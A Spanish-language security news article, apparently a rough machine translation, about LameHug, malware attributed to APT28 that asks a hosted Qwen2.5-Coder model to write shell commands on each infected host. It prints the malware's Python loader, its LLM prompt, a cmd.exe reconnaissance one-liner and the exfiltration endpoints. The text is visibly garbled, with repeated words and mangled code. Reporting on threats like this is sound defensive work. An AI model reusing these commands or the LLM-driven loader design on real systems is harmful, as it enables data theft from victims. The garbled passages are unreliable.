La recientemente revelada campaña de Lamehug señala un momento decisivo para el ciber-deff: el APT28 alineado en el estado ruso ha fusionado un modelo de idioma grande (LLM) directamente en malware vivo, lo que permite a cada anfitrión infectado recibir comandos de conchas hechos a medida sobre la mosca.
Al invocar el modelo de instrucciones QWEN2.5-Coder-32B a través de la API pública de Hugging Face, los atacantes evitan las limitaciones tradicionales de carga útil estática y logran una flexibilidad sin precedentes.
Lamehug apareció públicamente el 17 de julio de 2025, cuando el Equipo de Respuesta a Emergencias de Computadora de Ucrania (CERT-UA) emitió una alerta que describe los correos electrónicos de phishing que se basaron como correspondencia del Ministerio de Ucrania y llevaron ejecutables compilados en Pyinstaller dentro de los archivos de ZIP tititados “доо.
Una vez abierto, aparece un PDF señuelo mientras el binario oculto se ejecuta en el fondo, asegurando que la víctima no se dé cuenta de la violación.
Analistas de Cato Networks que realizan un ingeniería inversa varias muestras rápidamente identificado El sello distintivo del malware: cada binario incrusta las indicaciones codificadas en Base64 que se envían literalmente al LLM alojado en la nube, que luego devuelve una cadena de comando ejecutable adaptada al entorno de host.
La elección de una interfaz de AI de productos básicos confiere dos ventajas estratégicas. Primero, las solicitudes de salida se parecen al tráfico de aplicaciones legítimo, frustrando sistemas de intrusión basados en la firma.
En segundo lugar, la edición rápida otorga al control instantáneo de los operadores sobre la profundidad de reconocimiento y el alcance de la exfiltración sin el código de redistribución, una bendición para cambiar rápidamente los requisitos operativos.
La telemetría temprana muestra que las estaciones de trabajo del gobierno ucraniano fueron la prueba inicial, reforzando las observaciones de larga data que apt28 a menudo pilotan herramientas experimentales contra Kyiv antes del uso más amplio.
El boletín de CERT-UA destaca la amplitud del robo de datos: los inventarios del sistema, los diseños de red, las jerarquías de activo directorio y la oficina cosechada recursivamente, el PDF y los documentos de texto se organizan en %ProgramData %\ Info antes de la exfiltración a través de un túnel SFTP a 144.126.202.227 o un post HTTP al Domain Comprometido Comprometido Dominio Comprometido Dominio Comprometido Dominio Comprometido Dominio Comprometido Comprometido Dominio Comprometido. Stayathomeclasses.com/slpw/up.php.
Debido a que estos destinos son protocolos ordinarios, los defensores de la red han luchado para diferenciar las cargas maliciosas del tráfico benigno.
Mecanismo de infección: generación de comando impulsada por IA
Cuando se lanza el ejecutable de Lure, gira un hilo que ejecuta un cargador de pitón condensado:-
def llM_Query_Ex (): pronto = {‘Messages’: ({‘rol’: ‘user’, ‘content’: b64decode (aprop_b64_p1) .decode ()}), ‘temperatura’: 0.1, ‘model’: ‘Qwen/qwen2.5-coder-32b-inscuct’} cmd = query_text (ind) subprocess. Run (cmd, shell = true, stDout = subprocess. Pipe, stderr = subprocess.stdout) додатtim.pif.pdf (adjunta.pif.pdf) que el usuario ve mientras el malware está siendo ejecutado (fuente – redes CATO)
El primer aviso instruye a la LLM a “hacer una lista de comandos para recopilar información, hardware, servicio e información de red … y agregar cada resultado a c: \ programaData \ info \ info.txt. Devuelve los comandos solo, sin Markdown”. La línea de una sola retrasada se asemeja:
cmd.exe /c “mkdir %programaData %\ info && systeminfo >> %programaData %\ info \ info.txt && wmic cpu get /format: list >> %ProgramData %\ info \ info.txt && …”
Sigue un segundo aviso, ordenando la colección recursiva de archivos de Office, PDF y TXT de los documentos del usuario, descargas y directorios de escritorio en la misma carpeta de puesta en escena.
Al delegar la síntesis de comandos en el modelo de nube, el binario permanece compacto, y cualquier intento de equipo azul de que coincida con las cuerdas codificadas se derrota.
A menos que los defensores supervisen las consultas de IA de salida o impongan reglas de salida de menos privilegios, la arquitectura modular de Lamehug garantiza a los operadores una nueva visión del sistema con cada ciclo de ejecución.
Aumentar la detección, reducir la fatiga de alerta, acelerar la respuesta; Todo con una caja de arena interactiva construida para equipos de seguridad -> Prueba cualquiera.
